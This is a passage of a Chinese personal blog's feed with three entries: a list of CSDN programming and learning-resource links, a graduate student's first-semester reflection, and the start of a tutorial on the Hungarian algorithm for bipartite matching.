href="https://blog.csdn.net/u011485531/article/details/55804380">https://blog.csdn.net/u011485531/article/details/55804380</a><br>人脸识别的流程:<a href="https://blog.csdn.net/briant_ccj/article/details/86167261">https://blog.csdn.net/briant_ccj/article/details/86167261</a><br>可靠数据传输协议-Rdt协议:<a href="https://blog.csdn.net/hernofogot/article/details/88382944">https://blog.csdn.net/hernofogot/article/details/88382944</a><br>99%的人都会忽略的Python易错点总结:<a href="https://blog.csdn.net/varyshare/article/details/90202321">https://blog.csdn.net/varyshare/article/details/90202321</a><br>数据融合技术原理与方法:<a href="https://blog.csdn.net/dujiahei/article/details/86670644">https://blog.csdn.net/dujiahei/article/details/86670644</a><br>平衡小车设计_1_系统组成:<a href="https://blog.csdn.net/floatinglong/article/details/92200665">https://blog.csdn.net/floatinglong/article/details/92200665</a><br>avizo使用:<a href="https://blog.csdn.net/u012526003/article/details/78668196">https://blog.csdn.net/u012526003/article/details/78668196</a><br>三种二次开发的方式:<a href="https://blog.csdn.net/u013213317/article/details/80835028">https://blog.csdn.net/u013213317/article/details/80835028</a><br>机器学习实例:文本挖掘和情感分析的基础示例:<a href="http://www.atyun.com/26241.html">http://www.atyun.com/26241.html</a><br>PowerBI最全可视化视图打包和DEMO汇总:<a href="https://blog.csdn.net/capsicum29/article/details/76427138">https://blog.csdn.net/capsicum29/article/details/76427138</a><br>DIY自动分类“错题集”:一种基于视觉词汇的文本分类法:<a href="https://blog.csdn.net/weixin_33835690/article/details/90001431">https://blog.csdn.net/weixin_33835690/article/details/90001431</a><br>Redis和消息队列使用实战:<a href="https://blog.csdn.net/uyninger/article/details/77489806">https://blog.csdn.net/uyninger/article/details/77489806</a><br>微信小程序开发者工具详解:<a href="https://blog.csdn.net/hani_wen/article/details/82733694">https://blog.csdn.net/hani_wen/article/details/82733694</a><br>JASS速查手册:<a href="https://download.csdn.net/download/u010027950/10150150">https://download.csdn.net/download/u010027950/10150150</a><br>jass api详解:<a href="https://download.csdn.net/download/guduhupo/3070241">https://download.csdn.net/download/guduhupo/3070241</a><br>Linux入门课程:<a href="https://edu.csdn.net/course/detail/5929">https://edu.csdn.net/course/detail/5929</a><br>linux使用入门教程:<a href="https://blog.csdn.net/xiaomu_347/article/details/80627647">https://blog.csdn.net/xiaomu_347/article/details/80627647</a><br>swing入门教程(一) swing简介:<a href="https://blog.csdn.net/alli0968/article/details/50637118">https://blog.csdn.net/alli0968/article/details/50637118</a> </p><h2 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h2><p> <br>Java工程师求职面试准备<br><a href="https://blog.csdn.net/dyhdengyahui/article/details/79731335">https://blog.csdn.net/dyhdengyahui/article/details/79731335</a><br>Java面试笔试题大汇总(最全+详细答案)<br><a href="https://blog.csdn.net/weixin_37948564/article/details/80475243">https://blog.csdn.net/weixin_37948564/article/details/80475243</a><br>一站通过Java核心语法+项目实战+面试<br><a href="https://t.csdnimg.cn/6O3S">https://t.csdnimg.cn/6O3S</a><br>温故而知新,重温 Java 7 的那些“新”特性<br><a href="https://blog.csdn.net/qing_gee/article/details/97623924">https://blog.csdn.net/qing_gee/article/details/97623924</a><br>查看JAVA API以及JAVA源码的方法<br><a href="https://blog.csdn.net/Applying/article/details/80575616">https://blog.csdn.net/Applying/article/details/80575616</a><br>Java学习路线<br><a href="https://blog.csdn.net/Just_learn_more/article/details/91394528">https://blog.csdn.net/Just_learn_more/article/details/91394528</a><br>【深入理解Java原理】 JVM 内存区域<br><a href="https://blog.csdn.net/wangming520liwei/article/details/78686724">https://blog.csdn.net/wangming520liwei/article/details/78686724</a><br>阿里云Redis开发规范<br><a href="https://blog.csdn.net/glx490676405/article/details/79580748">https://blog.csdn.net/glx490676405/article/details/79580748</a><br>数据结构与算法常见笔试题<br><a href="https://blog.csdn.net/u010273362/article/details/77920891">https://blog.csdn.net/u010273362/article/details/77920891</a><br>关键路径详解<br><a href="https://blog.csdn.net/qq_35644234/article/details/52664108">https://blog.csdn.net/qq_35644234/article/details/52664108</a><br>字符串一样,但是equals为false?<br><a href="https://blog.csdn.net/Baisitao_/article/details/92667122">https://blog.csdn.net/Baisitao_/article/details/92667122</a><br>Java十大常用框架介绍<br><a href="https://blog.csdn.net/qinzzjs47/article/details/82292100">https://blog.csdn.net/qinzzjs47/article/details/82292100</a><br>JAVA学习必须掌握的框架,不看后悔<br><a href="https://blog.csdn.net/jackyrongvip/article/details/82148922">https://blog.csdn.net/jackyrongvip/article/details/82148922</a><br>最棒的 JavaScript 学习指南<br><a href="https://blog.csdn.net/ejinxian/article/details/79227762">https://blog.csdn.net/ejinxian/article/details/79227762</a><br>职业规划-IT方向<br><a href="https://blog.csdn.net/weixin_44135121/article/details/93226590">https://blog.csdn.net/weixin_44135121/article/details/93226590</a><br>让应届生拿到阿里 Offer 的Java面试题<br><a href="https://blog.csdn.net/CSDNedu/article/details/100098334">https://blog.csdn.net/CSDNedu/article/details/100098334</a><br>《JavaScript面向对象精要》-第1、2章<br><a href="https://blog.csdn.net/kjhz_liang/article/details/80438569">https://blog.csdn.net/kjhz_liang/article/details/80438569</a><br>《JavaScript面向对象精要》-第3、4章<br><a href="https://blog.csdn.net/kjhz_liang/article/details/80439083">https://blog.csdn.net/kjhz_liang/article/details/80439083</a><br>《JavaScript面向对象精要》-第5章<br><a href="https://blog.csdn.net/kjhz_liang/article/details/80447962">https://blog.csdn.net/kjhz_liang/article/details/80447962</a><br>《JavaScript面向对象精要》-第6章<br><a href="https://blog.csdn.net/kjhz_liang/article/details/80462119">https://blog.csdn.net/kjhz_liang/article/details/80462119</a> </p><h2 id="大数据"><a href="#大数据" class="headerlink" title="大数据"></a>大数据</h2><p> <br>数据结构与算法常见笔试题<br><a href="https://blog.csdn.net/u010273362/article/details/77920891">https://blog.csdn.net/u010273362/article/details/77920891</a><br>MySQL数据库入门实战精讲<br><a href="https://t.csdnimg.cn/zKul">https://t.csdnimg.cn/zKul</a><br>关键路径详解<br><a href="https://blog.csdn.net/qq_35644234/article/details/52664108">https://blog.csdn.net/qq_35644234/article/details/52664108</a><br>MySQL数据库安装<br><a href="https://blog.csdn.net/lfdfhl/article/details/96704304">https://blog.csdn.net/lfdfhl/article/details/96704304</a><br>大数据学习路线图<br><a href="https://blog.csdn.net/qq_38872310/article/details/79758426">https://blog.csdn.net/qq_38872310/article/details/79758426</a><br>SQL简述<br><a href="https://blog.csdn.net/lfdfhl/article/details/96707875">https://blog.csdn.net/lfdfhl/article/details/96707875</a><br>数据库的基本操作<br><a href="https://blog.csdn.net/lfdfhl/article/details/96709013">https://blog.csdn.net/lfdfhl/article/details/96709013</a><br>数据类型详解<br><a href="https://blog.csdn.net/lfdfhl/article/details/96711983">https://blog.csdn.net/lfdfhl/article/details/96711983</a><br>数据中台架构详解<br><a href="https://edu.csdn.net/course/detail/23975">https://edu.csdn.net/course/detail/23975</a><br>数据表的基本操作<br><a href="https://blog.csdn.net/lfdfhl/article/details/96732873">https://blog.csdn.net/lfdfhl/article/details/96732873</a><br>MySQL图形化操作工具<br><a href="https://blog.csdn.net/lfdfhl/article/details/96742339">https://blog.csdn.net/lfdfhl/article/details/96742339</a><br>表的约束<br><a href="https://blog.csdn.net/lfdfhl/article/details/96746485">https://blog.csdn.net/lfdfhl/article/details/96746485</a><br>插入数据<br><a href="https://blog.csdn.net/lfdfhl/article/details/96771873">https://blog.csdn.net/lfdfhl/article/details/96771873</a><br>更新数据<br><a href="https://blog.csdn.net/lfdfhl/article/details/96780166">https://blog.csdn.net/lfdfhl/article/details/96780166</a><br>删除数据<br><a href="https://blog.csdn.net/lfdfhl/article/details/96782820">https://blog.csdn.net/lfdfhl/article/details/96782820</a><br>简单查询<br><a href="https://blog.csdn.net/lfdfhl/article/details/96834230">https://blog.csdn.net/lfdfhl/article/details/96834230</a><br>函数<br><a href="https://blog.csdn.net/lfdfhl/article/details/96839742">https://blog.csdn.net/lfdfhl/article/details/96839742</a><br>条件查询<br><a href="https://blog.csdn.net/lfdfhl/article/details/96893026">https://blog.csdn.net/lfdfhl/article/details/96893026</a><br>别名<br><a href="https://blog.csdn.net/lfdfhl/article/details/96975823">https://blog.csdn.net/lfdfhl/article/details/96975823</a><br>Spark的Dataset操作(一)-列的选择select<br><a href="https://blog.csdn.net/coding_hello/article/details/74853504">https://blog.csdn.net/coding_hello/article/details/74853504</a><br>表的关联关系<br><a href="https://blog.csdn.net/lfdfhl/article/details/97026574">https://blog.csdn.net/lfdfhl/article/details/97026574</a><br>子查询<br><a href="https://blog.csdn.net/lfdfhl/article/details/97102580">https://blog.csdn.net/lfdfhl/article/details/97102580</a><br>数据库事务及其隔离级别<br><a href="https://blog.csdn.net/lfdfhl/article/details/97696879">https://blog.csdn.net/lfdfhl/article/details/97696879</a><br>存储过程及游标使用<br><a href="https://blog.csdn.net/lfdfhl/article/details/98085154">https://blog.csdn.net/lfdfhl/article/details/98085154</a><br>大数据学习路线图<br><a href="https://blog.csdn.net/volitationlong/article/details/82352856">https://blog.csdn.net/volitationlong/article/details/82352856</a> </p><h2 id="区块链"><a href="#区块链" class="headerlink" title="区块链"></a>区块链</h2><p> <br>以太坊学习笔记<br><a href="https://blog.csdn.net/LUCKWXF/article/details/94736214">https://blog.csdn.net/LUCKWXF/article/details/94736214</a><br>以太坊工作原理<br><a href="https://blog.csdn.net/LUCKWXF/article/details/95061570">https://blog.csdn.net/LUCKWXF/article/details/95061570</a><br>搭建以太坊私链<br><a href="https://blog.csdn.net/zhimingshangyan/article/details/82703746">https://blog.csdn.net/zhimingshangyan/article/details/82703746</a><br>Centos7 本地安装以太坊 Remix-ide<br><a href="https://blog.csdn.net/LUCKWXF/article/details/95633329">https://blog.csdn.net/LUCKWXF/article/details/95633329</a><br>盘点11个常用的区块链开发工具<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/98553602">https://blog.csdn.net/Blockchain_lemon/article/details/98553602</a><br>区块链100问<br><a href="https://blog.csdn.net/zgf605506394/article/details/97621396">https://blog.csdn.net/zgf605506394/article/details/97621396</a><br>以太坊私链的搭建和智能合约的部署<br><a href="https://blog.csdn.net/sunniy27/article/details/78632294">https://blog.csdn.net/sunniy27/article/details/78632294</a><br>通过7个函数解密区块链<br><a href="https://blog.csdn.net/tMb8Z9Vdm66wH68VX1/article/details/80416922">https://blog.csdn.net/tMb8Z9Vdm66wH68VX1/article/details/80416922</a><br>从概念到底层技术,区块链一站式分析和汇总<br><a href="https://blog.csdn.net/baiyuzhong2012/article/details/80125619">https://blog.csdn.net/baiyuzhong2012/article/details/80125619</a><br>一文看懂区块链架构设计<br><a href="https://blog.csdn.net/lucky_greenegg/article/details/52821924">https://blog.csdn.net/lucky_greenegg/article/details/52821924</a><br>搭建Facebook区块链Libra的开发环境<br><a href="https://blog.csdn.net/BEYONDMA/article/details/96763280">https://blog.csdn.net/BEYONDMA/article/details/96763280</a><br>30天200万收入, 我是怎么做区块链游戏的<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/99787975">https://blog.csdn.net/Blockchain_lemon/article/details/99787975</a><br>学霸用12个决策模型告诉你,如何判断你到底需不需要区块链!<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/99907273">https://blog.csdn.net/Blockchain_lemon/article/details/99907273</a><br>17大主链均狂跌国内项目却看涨<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/99687965">https://blog.csdn.net/Blockchain_lemon/article/details/99687965</a><br>区块链产业云图重磅发布<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/86379649">https://blog.csdn.net/Blockchain_lemon/article/details/86379649</a><br>3大维度告诉你,为什么说比特币并非避险资产?<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/94417985">https://blog.csdn.net/Blockchain_lemon/article/details/94417985</a> </p><h2 id="【综合干货】"><a href="#【综合干货】" class="headerlink" title="【综合干货】"></a>【综合干货】</h2><p>Android使用JNI生成.so文件并调用:<a href="https://blog.csdn.net/dream_caoyun/article/details/79495103">https://blog.csdn.net/dream_caoyun/article/details/79495103</a><br>利用百度AI开放平台进行本地图片通用文字识别:<a href="https://blog.csdn.net/qq_40197828/article/details/82812978">https://blog.csdn.net/qq_40197828/article/details/82812978</a><br>这可能是最简单易懂的机器学习入门(小白必读):<a href="https://blog.csdn.net/qq_28168421/article/details/81351321">https://blog.csdn.net/qq_28168421/article/details/81351321</a><br>多分类学习的拆分策略:<a href="https://blog.csdn.net/u012679707/article/details/80527994">https://blog.csdn.net/u012679707/article/details/80527994</a><br>机器学习概括:什么是机器学习,机器学习分类和基本用途:<a href="https://blog.csdn.net/u011626960/article/details/79349659">https://blog.csdn.net/u011626960/article/details/79349659</a><br>机器学习:3个知乎大神回答、5个新人常见问题和3个学习规划:<a href="https://blog.csdn.net/j2IaYU7Y/article/details/79825304">https://blog.csdn.net/j2IaYU7Y/article/details/79825304</a><br>机器视觉专栏:<a href="https://blog.csdn.net/oHanTanYanYing/column/info/15631">https://blog.csdn.net/oHanTanYanYing/column/info/15631</a><br>机器视觉原理解析:<a href="https://blog.csdn.net/zc21463071/article/details/81231058">https://blog.csdn.net/zc21463071/article/details/81231058</a><br>机器视觉基础知识汇总:<a href="https://blog.csdn.net/leoaran/article/details/80914270">https://blog.csdn.net/leoaran/article/details/80914270</a><br>那些精贵的「机器视觉」学习资料总结:<a href="https://blog.csdn.net/Yong_Qi2015/article/details/80154773">https://blog.csdn.net/Yong_Qi2015/article/details/80154773</a><br>表情识别LDTP算法:<a href="https://blog.csdn.net/z349177893/article/details/86600254">https://blog.csdn.net/z349177893/article/details/86600254</a><br>机器学习之——简单表情识别:<a href="https://blog.csdn.net/yxdd1gbk/article/details/79788967">https://blog.csdn.net/yxdd1gbk/article/details/79788967</a><br>50个“杀手级”AI项目 !(附链接):<a href="https://blog.csdn.net/tmb8z9vdm66wh68vx1/article/details/79372988">https://blog.csdn.net/tmb8z9vdm66wh68vx1/article/details/79372988</a><br>一个完整机器学习项目流程总结:<a href="https://blog.csdn.net/huangfei711/article/details/79850989">https://blog.csdn.net/huangfei711/article/details/79850989</a><br>Scratch编程入门教案:<a href="https://blog.csdn.net/weixin_40897235/article/details/89206058">https://blog.csdn.net/weixin_40897235/article/details/89206058</a><br>基于SLAM的机器人的自主定位导航:<a href="https://blog.csdn.net/weixin_37251044/article/details/78515909">https://blog.csdn.net/weixin_37251044/article/details/78515909</a><br>python之常用算法:<a href="https://blog.csdn.net/u012114090/article/details/81516189">https://blog.csdn.net/u012114090/article/details/81516189</a><br>open cv+C++错误及经验总结:<a href="https://blog.csdn.net/ningyaliuhebei/article/details/22385833">https://blog.csdn.net/ningyaliuhebei/article/details/22385833</a><br>本地费控与远程费控:<a href="https://blog.csdn.net/wuhenyouyuyouyu/article/details/77979112">https://blog.csdn.net/wuhenyouyuyouyu/article/details/77979112</a><br>20个顶级大数据软件应用程序:<a href="https://blog.csdn.net/qq_16633405/article/details/79718325">https://blog.csdn.net/qq_16633405/article/details/79718325</a><br>软件应用资源:<a href="https://download.csdn.net/download/mini_hs/10444585">https://download.csdn.net/download/mini_hs/10444585</a><br>推荐给运维人员的10个开源漏洞检测工具!:<a href="https://blog.csdn.net/Z1XpIYDj9sn/article/details/88548637">https://blog.csdn.net/Z1XpIYDj9sn/article/details/88548637</a><br>无线网络渗透测试(一)基础知识:<a href="https://blog.csdn.net/windy_hui/article/details/83016100">https://blog.csdn.net/windy_hui/article/details/83016100</a><br>网络渗透资料大全单——工具篇(上):<a href="https://blog.csdn.net/gardentop/article/details/80140117">https://blog.csdn.net/gardentop/article/details/80140117</a><br>Net基础全套视频教程:<a href="https://edu.csdn.net/course/detail/858">https://edu.csdn.net/course/detail/858</a><br>Duilib—基础框架:<a href="https://blog.csdn.net/linjingtu/article/details/89843183">https://blog.csdn.net/linjingtu/article/details/89843183</a><br>网络安全(知识点总结分类):<a href="https://blog.csdn.net/shakeyin1998/article/details/85544620">https://blog.csdn.net/shakeyin1998/article/details/85544620</a><br>网络安全学习指南:<a href="https://blog.csdn.net/qq_36402161/article/details/84035618">https://blog.csdn.net/qq_36402161/article/details/84035618</a><br>硬件电路设计入门奉献系列(一):<a href="https://blog.csdn.net/xiaohe511/article/details/59520514">https://blog.csdn.net/xiaohe511/article/details/59520514</a><br>蓝牙音频音质探讨:<a href="https://blog.csdn.net/dear5240/article/details/80889083">https://blog.csdn.net/dear5240/article/details/80889083</a><br>linux系统基本知识整理:<a href="https://blog.csdn.net/u011285477/article/details/90600501">https://blog.csdn.net/u011285477/article/details/90600501</a><br>python实现的NoSql数据库系列-高级数据库操作:<a href="https://blog.csdn.net/qq_25055269/article/details/82731053">https://blog.csdn.net/qq_25055269/article/details/82731053</a><br>最纯粹的直播技术实战01-FFmpeg的编译与运行:<a href="https://blog.csdn.net/u011485531/article/details/55804380">https://blog.csdn.net/u011485531/article/details/55804380</a><br>人脸识别的流程:<a href="https://blog.csdn.net/briant_ccj/article/details/86167261">https://blog.csdn.net/briant_ccj/article/details/86167261</a><br>可靠数据传输协议-Rdt协议:<a href="https://blog.csdn.net/hernofogot/article/details/88382944">https://blog.csdn.net/hernofogot/article/details/88382944</a><br>99%的人都会忽略的Python易错点总结:<a href="https://blog.csdn.net/varyshare/article/details/90202321">https://blog.csdn.net/varyshare/article/details/90202321</a><br>数据融合技术原理与方法:<a href="https://blog.csdn.net/dujiahei/article/details/86670644">https://blog.csdn.net/dujiahei/article/details/86670644</a><br>平衡小车设计_1_系统组成:<a href="https://blog.csdn.net/floatinglong/article/details/92200665">https://blog.csdn.net/floatinglong/article/details/92200665</a><br>avizo使用:<a href="https://blog.csdn.net/u012526003/article/details/78668196">https://blog.csdn.net/u012526003/article/details/78668196</a><br>三种二次开发的方式:<a href="https://blog.csdn.net/u013213317/article/details/80835028">https://blog.csdn.net/u013213317/article/details/80835028</a><br>机器学习实例:文本挖掘和情感分析的基础示例:<a href="http://www.atyun.com/26241.html">http://www.atyun.com/26241.html</a><br>PowerBI最全可视化视图打包和DEMO汇总:<a href="https://blog.csdn.net/capsicum29/article/details/76427138">https://blog.csdn.net/capsicum29/article/details/76427138</a><br>DIY自动分类“错题集”:一种基于视觉词汇的文本分类法:<a href="https://blog.csdn.net/weixin_33835690/article/details/90001431">https://blog.csdn.net/weixin_33835690/article/details/90001431</a><br>Redis和消息队列使用实战:<a href="https://blog.csdn.net/uyninger/article/details/77489806">https://blog.csdn.net/uyninger/article/details/77489806</a><br>微信小程序开发者工具详解:<a href="https://blog.csdn.net/hani_wen/article/details/82733694">https://blog.csdn.net/hani_wen/article/details/82733694</a><br>JASS速查手册:<a href="https://download.csdn.net/download/u010027950/10150150">https://download.csdn.net/download/u010027950/10150150</a><br>jass api详解:<a href="https://download.csdn.net/download/guduhupo/3070241">https://download.csdn.net/download/guduhupo/3070241</a><br>Linux入门课程:<a href="https://edu.csdn.net/course/detail/5929">https://edu.csdn.net/course/detail/5929</a><br>linux使用入门教程:<a href="https://blog.csdn.net/xiaomu_347/article/details/80627647">https://blog.csdn.net/xiaomu_347/article/details/80627647</a><br>swing入门教程(一) swing简介:<a href="https://blog.csdn.net/alli0968/article/details/50637118">https://blog.csdn.net/alli0968/article/details/50637118</a></p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2020/02/20/someresourse/' title='一些CSDN干货资源' >一些CSDN干货资源</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2020/02/20/someresourse/' title='一些CSDN干货资源' >http://blog.rookiehacker.org/2020/02/20/someresourse/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
记录一些不错的学习资源
</summary>
<category term="代码程序" scheme="http://blog.rookiehacker.org/categories/%E4%BB%A3%E7%A0%81%E7%A8%8B%E5%BA%8F/"/>
<category term="编程" scheme="http://blog.rookiehacker.org/tags/%E7%BC%96%E7%A8%8B/"/>
</entry>
<entry>
<title>第一学期总结</title>
<link href="http://blog.rookiehacker.org/2020/01/11/first-semester/"/>
<id>http://blog.rookiehacker.org/2020/01/11/first-semester/</id>
<published>2020-01-11T15:15:11.000Z</published>
<updated>2020-11-26T14:36:17.091Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>其实这篇文章和之前的<a href="http://blog.rookiehacker.org/2019/12/30/2019-year-end-summary/">年终总结篇</a>会多少有一些重叠的地方的,但是毕竟是自己研究生阶段的开始,感觉还是应该再好好总结一下。</p><h2 id="生活上"><a href="#生活上" class="headerlink" title="生活上"></a>生活上</h2><h3 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h3><p>其实这几个月来在大兴的生活还算是适应,虽然各种场所,比入食堂、图书馆什么的都挺袖珍,但是基本的功能还是都有的,能够满足日常的日食住的需求。宿舍虽然没有分到一开始最想去的宿舍楼,但是意外被调剂去了9号小别墅,空间挺大,并且舍友们也都挺好的,除了平日在宿舍学习不太可能意外,宿舍生活还是很多姿多彩的。虽然图书馆很小,桌子没有插座并且很晃悠,但是教室还是很好的自习地点的。虽然食堂窗口就这么几个,菜品也就这么几个,但是出校门往西走200米,就是“战斗机” & 沙县,还有东边100米的便利蜂。虽然缺少了大的商业中心,却也独得一片学习的净土,无形之中还给自己省了钱哈哈哈(只能这么安慰自己了。。)。最大的收获就应该是认识了很多很棒的小伙伴,也得到了很多宝贵的资源。如愿入选了第一届研究生新生骨干训练营,认识了来自各个学院的优秀大佬,并且和训练营的小伙伴们搞了大的室外活动,最后也拿到了“优秀营员”的荣誉,感觉是真的棒!学院这边参加了篮球赛,以及加入了足球队,平时还会和舍友一起打打羽毛球,并且还拿到了秋季运动会男子铅球第三哈哈哈哈,感觉课余小日子过得还蛮充实~</p><h3 id="遗憾"><a href="#遗憾" class="headerlink" title="遗憾"></a>遗憾</h3><p>最大的遗憾应该就是人在大兴,距离海淀本部太远了吧。每次往返本部和大兴都几乎坐完整个4号线,真的会耽误很多时间,并且也带来了很多不方便。另外在日常作息方面,感觉自己真的是“放纵”啊,每天熬夜成为常态,12点之前睡的情况简直是屈指可数,感觉再这么“放纵”下去,身体迟早会垮的。所以下学期一定要好好安排自己的作息时间,早睡早起!还有感觉自己这个学期的理财意识应该是没有!花了很多钱,但是最后看看好像也没买什么东西,感觉就是没有什么详细的规划,反正每当月初还花呗就成了最痛苦的时候。最后不得不提的就是2019的目标没有全部实现就是因为没有“管住嘴”!可能是晚上零食吃多了,但是我感觉还是作息时间的锅,每天作息不合理,吃饭时间也不合理,经常半夜饿得不行吃东西,所以体重一直保持得不错,并且最近又有了上升趋势。。所以2020一定要把体重减下来!管住嘴,迈开腿!</p><h2 id="学习上"><a href="#学习上" class="headerlink" title="学习上"></a>学习上</h2><h3 id="收获-1"><a href="#收获-1" class="headerlink" title="收获"></a>收获</h3><p>要说学习的收获的话,这个还真一时不知从何说起是好。现在所有考试都考完了,但是也暴露出来很多问题。选课那会,尽自己所能选了很多所谓的“硬课”,有的确实很硬,但是现在回头再看看,其实感觉对自己帮助并不是很大,甚至感觉是有点浪费时间和经历。但是多数课程还是对自己有点帮助的。但我有点不好的预感,感觉这学期的GPA不会那么好看。。选课一时爽,期末火葬场,这句话现在算是真的理解了。然后选了想跟的导师,并且和导师沟通交流之后也选了自己比较感兴趣的研究方向,虽然最后落实上去,多少还是有点偏差。可能做科研并不能保证能够完全按照自己想做的东西来吧。但是整体上的路线感觉还是可以的,是我想走的路。关于是不是还有出国读博这个问题,自己也一直在思考,现在就先准备着吧,虽然最后可能GPA可能有点辣眼睛,但是有很多课程给分数真的充满了玄学,并不是你牛就分数高,还是努力多发paper多发顶会哈哈哈!</p><h3 id="遗憾-1"><a href="#遗憾-1" class="headerlink" title="遗憾"></a>遗憾</h3><p>遗憾的话感觉主要是自己的课余时间没有规划好,并且自己也没有给自己太push。很多时候都太散满了,能拖就拖,导致赶ddl经常是常态。还有平时在宿舍的温柔乡里待的时间太多了,以后要抓紧时间学习补充养分啊,毕竟很多大佬进来的时候就比你强,并且现在还比你努力,得继续加油才行啊!另外感觉这学期参加的学术性比赛有点少了,以后有拿奖的机会一定要把握住啊!科研!paper!顶会!实习!Phd Offer!加油!ヾ(◍°∇°◍)ノ゙</p><h2 id="其他方面"><a href="#其他方面" class="headerlink" title="其他方面"></a>其他方面</h2><p>情感方面感觉给家里打电话打得有点少,以后要多和家人沟通。恋爱方面呢,感觉自己还是缺乏成熟感,太依赖,太感性,还有太多太多需要继续成长的地方。</p><h2 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h2><p>三年的时间其实真的很快,转眼就只剩下的最后的5/6了,但是其实在校园的时间要更短了,未名湖不大,但足够自己畅游其中,博雅塔不高,亦能使自己手摘星辰!说到底,还是要看自己!好好规划,好好执行!不忘初心,不负梦!</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2020/01/11/first-semester/' title='第一学期总结' >第一学期总结</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2020/01/11/first-semester/' title='第一学期总结' >http://blog.rookiehacker.org/2020/01/11/first-semester/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
研究生第一学期一转眼就过去了,真的快,总结一下这学期的得失吧。
</summary>
<category term="生活" scheme="http://blog.rookiehacker.org/categories/%E7%94%9F%E6%B4%BB/"/>
<category term="研究生" scheme="http://blog.rookiehacker.org/tags/%E7%A0%94%E7%A9%B6%E7%94%9F/"/>
</entry>
<entry>
<title>匈牙利算法</title>
<link href="http://blog.rookiehacker.org/2020/01/05/hungary-algorithm/"/>
<id>http://blog.rookiehacker.org/2020/01/05/hungary-algorithm/</id>
<published>2020-01-05T15:36:09.000Z</published>
<updated>2020-11-26T14:36:34.147Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>明天就考算法了,学一下匈牙利算法,补补课~<br><a href="https://blog.csdn.net/u013384984/article/details/90718287">CSDN啥都有</a></p><p>本文讲述的是匈牙利算法,即图论中寻找最大匹配的算法,暂不考虑加权的最大匹配(用KM算法实现),文章整体结构如下:</p><p>基础概念介绍<br>算法的实现<br>好的,开始!</p><h2 id="部分基础概念的介绍"><a href="#部分基础概念的介绍" class="headerlink" title="部分基础概念的介绍"></a>部分基础概念的介绍</h2><p>我会严格介绍其定义,并同时用自己的大白话来重述。</p><h3 id="概念点1"><a href="#概念点1" class="headerlink" title="概念点1"></a>概念点1</h3><p>图G的一个匹配是由一组没有公共端点的不是圈的边构成的集合。</p><p>这里,我们用一个图来表示下匹配的概念:</p><p><img src="https://img-blog.csdnimg.cn/20190531162033829.png"></p><p>如图所示,其中的三条边即该图的一个匹配;所以,匹配的两个重点:1. 匹配是边的集合;2. 在该集合中,任意两条边不能有共同的顶点。</p><p>那么,我们自然而然就会有一个想法,一个图会有多少匹配?有没有最大的匹配(即边最多的匹配呢)?</p><p>我们顺着这个思路,继续往下走。</p><h3 id="概念点2"><a href="#概念点2" class="headerlink" title="概念点2"></a>概念点2</h3><p>完美匹配:考虑部集为X={x1 ,x2, …}和Y={y1, y2, …}的二部图,一个完美匹配就是定义从X-Y的一个双射,依次为x1, x2, … xn找到配对的顶点,最后能够得到 n!个完美匹配。</p><p>这里有一个概念,有点陌生,即什么是二部图,这个其实很好理解,给定两组顶点,但是组内的任意两个顶点间没有边相连,只有两个集合之间存在边,即组1内的点可以和组2内的点相连,这样构建出来的图就叫做二部图(更好理解就是n个男人,n个女人,在不考虑同性恋的情况下,组成配偶)。这样是不是简单多了?</p><p>既然说到了双双组成配偶,那我们干的就是月老做的活了,古话说得好,宁拆一座庙,不毁一桩婚,如果真的给出n个帅气的男孩,n个漂亮的女孩,他们之间互相有好感,但一个男孩可以对多个女孩有感觉,一个女孩也可能觉得多个男孩看起来都不错,在这种情况下,我们怎么让他们都能成双成对呢?</p><p>将这个问题抽象出来,互有好感就是一条条无向边(单相思我们先不考虑),而男孩和女孩就是一个个节点,我们构建出这么一个图,而完美匹配就是让所有看对眼的男孩和女孩都能够在一起。</p><p>完美匹配是最好的情况,也是我们想要的情况。</p><p>当然,有些情况下我们做不到完美匹配,只能尽可能实现最多的配对,这个就叫做最大匹配。</p><p>可以看出来,完美匹配一定是最大匹配,而最大匹配不一定是完美匹配。</p><p>那么,作为月老的我们,核心目标就是找到最大匹配了。</p><p>在我们思考如何完成这个艰巨的任务之前,我们引入几个可能不太好理解的概念。</p><h3 id="概念点3"><a href="#概念点3" class="headerlink" title="概念点3"></a>概念点3</h3><p>交错路径:给定图G的一个匹配M,如果一条路径的边交替出现在M中和不出现在M中,我们称之为一条M-交错路径。</p><p>而如果一条M-交错路径,它的两个端点都不与M中的边关联,我们称这条路径叫做M-增广路径。</p><p>举个例子:</p><p><img 